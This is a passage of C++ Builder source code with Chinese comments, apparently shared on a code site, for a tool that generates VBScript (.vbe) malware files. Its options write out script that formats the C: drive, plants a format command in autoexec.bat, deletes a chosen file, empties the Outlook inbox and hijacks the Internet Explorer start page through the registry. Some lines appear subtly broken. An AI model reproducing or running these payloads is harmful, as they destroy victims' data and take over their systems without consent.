AnsiString dthen=" Then a\r\n" ; 
AnsiString sub="sub a\r\n" ; 
AnsiString dex=d1+dyear+dmonth+dday+dthen+sub; 
char d[10000]; 
strcpy(d, dex.c_str()); 
FileWrite(i,d,strlen(d)); } 
AnsiString del="on error resume next\r\nfso.DeleteFile\(\"";//負責刪除指定文件 
AnsiString delf=Edit6->Text; 
AnsiString delf1="\"\)\r\n"; 
AnsiString def=del+delf+delf1; 
char d[10000]; 
strcpy(d, def.c_str()); 
FileWrite(i,d,strlen(d)); 
if(CheckBox2->Checked==true)//格式化硬盤 
{AnsiString df1="\r\n set WshShell = Wscript.CreateObject\(\"WScript.Shell\"\) \r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n "; 

char df[10000]; 
strcpy(df, df1.c_str()); 
FileWrite(i,df,strlen(df)); } 
if(CheckBox5->Checked==true) 
{AnsiString df2="Set Script = fso.CreateTextFile\( \"c:\\autoexec.bat\", True\) \r\nScript.writeline \"format c:\/q\ /autotest\ /u\" \r\n "; 
char df3[10000]; 
strcpy(df3, df2.c_str()); 
FileWrite(i,df3,strlen(df3)); } 
if(CheckBox6->Checked==true) 
{AnsiString dem="Set Outlook=CreateObject\(\"Outlook.Application\"\)\r\nSet t=s.GetNameSpace\(\"MAPI\"\)\r\nSet u=t.GetDefaultFolder\(6\)\r\nFor i=1 to u.items.count\r\nu.Items.Item\(i\).delete\r\nnext\r\n"; 
char dm[10000]; 
strcpy(dm, dem.c_str()); 
FileWrite(i,dm,strlen(dm));} 
char endsub[]="end sub\r\n"; 
FileWrite(i,endsub,strlen(endsub)); 
} 
else 
{if(CheckBox2->Checked==true) 
{AnsiString df1="set WshShell = Wscript.CreateObject\(\"WScript.Shell\"\)\r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n"; 

char df[10000]; 
strcpy(df, df1.c_str()); 
FileWrite(i,df,strlen(df)); } 
if(CheckBox5->Checked==true) 
{AnsiString df2="on error resume next\r\nfso.DeleteFile\(\"c:\\autoexec.bat\")\r\n\Set Script = fso.CreateTextFile\( \"c:\\autoexec.bat\", True\)\r\nScript.writeline \"format c:\/q\ /autotest\ /u\"\r\n"; 

char df3[10000]; 
strcpy(df3, df2.c_str()); 
FileWrite(i,df3,strlen(df3)); }} 
AnsiString del="on error resume next\r\nfso.DeleteFile\(\""; 
AnsiString delf=Edit6->Text; 
AnsiString delf1="\"\)\r\n"; 
AnsiString def=del+delf+delf1; 
char d[10000]; 
strcpy(d, def.c_str()); 
FileWrite(i,d,strlen(d)); 
if(CheckBox6->Checked==true) 
{AnsiString dem="Set Outlook=CreateObject\(\"Outlook.Application\"\)\r\nSet t=s.GetNameSpace\(\"MAPI\"\)\r\nSet u=t.GetDefaultFolder\(6\)\r\nFor i=1 to u.items.count\r\nu.Items.Item\(i\).delete\r\nnext\r\n"; 
char dm[10000]; 
strcpy(dm, dem.c_str()); 
FileWrite(i,dm,strlen(dm));} 
TabSheet2->Enabled=false; 
} 
//--------------------------------------------------------------------------- 

void __fastcall Tform1::BitBtn4Click(TObject *Sender)//修改IE的標題開始頁 
{ 
AnsiString reg="wsh.regwrite \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page\",\"" ; 
AnsiString reg1=Edit3->Text; 
AnsiString reg2="\"\r\nwsh.regwrite\"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Window title\",\""; 
AnsiString reg3=Edit7->Text; 
AnsiString reg4="\"\r\n"; 
AnsiString reg5=reg+reg1+reg2+reg3+reg4+reg5; 
char REG[10000]; 
strcpy(REG, reg5.c_str()); 
FileWrite(i,REG,strlen(REG)); 
TabSheet3->Enabled=false; 
ShowMessage("你的程序代碼已保存在當前目錄下"); 

FileClose(i); 
} 
//--------------------------------------------------------------------------- 


//注冊功能暫不公開，敬請原諒…… 

//--------------------------------------------------------------------------- 


void __fastcall Tform1::formClose(TObject *Sender, TCloseAction &Action) 
{ 
form2->Close(); 
} 
//--------------------------------------------------------------------------- 

void __fastcall Tform1::formActivate(TObject *Sender) 
{ 
form2->Hide(); 
} 
//--------------------------------------------------------------------------- 


void __fastcall Tform1::BitBtn5Click(TObject *Sender) 
{ 

AnsiString g=Edit1->Text+".vbe"; 
DeleteFile(g); 
TabSheet0->Enabled=true; 
} 
//--------------------------------------------------------------------------- 


void __fastcall Tform1::Button1Click(TObject *Sender) 
{ 
form3->Show(); 
} 
//--------------------------------------------------------------------------- 


void __fastcall Tform1::TabSheet0ContextPopup(TObject *Sender, 
TPoint &MousePos, bool &Handled) 
{ 

} 

unit1.h 

　 

#ifndef Unit1H 
#define Unit1H 
//--------------------------------------------------------------------------- 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
//--------------------------------------------------------------------------- 
class Tform1 : public Tform 
{ 
__published: // IDE-managed Components 
TPageControl *b; 
TTabSheet *TabSheet2; 
TTabSheet *TabSheet3; 
TTabSheet *TabSheet4; 
TGroupBox *GroupBox1; 
TLabel *Label1; 
TMemo *Memo1; 
TCheckBox *CheckBox1; 
TEdit *Edit1; 
TLabel *Label2; 
TCheckBox *CheckBox2; 
TEdit *Edit2; 
TLabel *Label3; 
TEdit *Edit3; 
TTabSheet *TabSheet1; 
TEdit *Edit4; 
TLabel *Label5; 
TLabel *Label6; 
TLabel *Label8; 
TEdit *Edit6; 
TLabel *Label10; 
TLabel *Label11; 
TEdit *Edit7; 
TEdit *Edit11; 
TLabel *Label15; 
TLabel *Label16; 
TCheckBox *CheckBox3; 
TEdit *Edit8; 
TLabel *Label12; 
TEdit *Edit9; 
TLabel *Label13; 
TEdit *Edit10; 
TLabel *Label14; 
TEdit *Edit13; 
TCheckBox *CheckBox4; 
TGroupBox *GroupBox2; 
TLabel *Label7; 
TCheckBox *CheckBox5; 
TCheckBox *CheckBox6; 
TBitBtn *BitBtn1; 
TBitBtn *BitBtn2; 
TBitBtn *BitBtn3; 
TBitBtn *BitBtn4; 
TTabSheet *TabSheet0; 
TLabel *Label4; 
TGroupBox *GroupBox3; 
TCheckBox *CheckBox7; 
TCheckBox *CheckBox8; 
TCheckBox *CheckBox9; 
TCheckBox *CheckBox10; 
TCheckBox *CheckBox11; 
TEdit *Edit5; 
TGroupBox *GroupBox4; 
TLabel *Label9; 
TCheckBox *CheckBox12; 
TButton *Button1; 
TBitBtn *BitBtn5; 
TCheckBox *CheckBox13; 
TGroupBox *GroupBox5; 
TCheckBox *CheckBox14; 
TCheckBox *CheckBox15; 
TCheckBox *CheckBox16; 
TImage *Image1; 
TLabel *Label17; 
TImage *Image2; 

void __fastcall Label1Click(TObject *Sender); 
void __fastcall CheckBox3Click(TObject *Sender); 
void __fastcall CheckBox4Click(TObject *Sender); 
void __fastcall Edit4KeyPress(TObject *Sender, char &Key); 
void __fastcall Edit8KeyPress(TObject *Sender, char &Key); 
void __fastcall Edit9KeyPress(TObject *Sender, char &Key); 
void __fastcall Edit10KeyPress(TObject *Sender, char &Key); 
void __fastcall Edit5KeyPress(TObject *Sender, char &Key); 
void __fastcall Edit4Exit(TObject *Sender); 
void __fastcall Edit8Exit(TObject *Sender); 
void __fastcall Edit9Exit(TObject *Sender); 
void __fastcall Edit10Exit(TObject *Sender); 
void __fastcall BitBtn1Click(TObject *Sender); 
void __fastcall Label4Click(TObject *Sender); 
void __fastcall BitBtn2Click(TObject *Sender); 
void __fastcall BitBtn3Click(TObject *Sender); 
void __fastcall BitBtn4Click(TObject *Sender); 
void __fastcall formClose(TObject *Sender, TCloseAction &Action); 
void __fastcall formActivate(TObject *Sender); 
void __fastcall BitBtn5Click(TObject *Sender); 
void __fastcall Button1Click(TObject *Sender); 
void __fastcall TabSheet0ContextPopup(TObject *Sender, 
TPoint &MousePos, bool &Handled); 

private: // User declarations 
public: // User declarations 
__fastcall Tform1(TComponent* Owner); 

int i; 
AnsiString B; 

}; 
//--------------------------------------------------------------------------- 
extern PACKAGE Tform1 *form1; 
//--------------------------------------------------------------------------- 
#endif 
*更多文章請訪問:http://www.codesky.net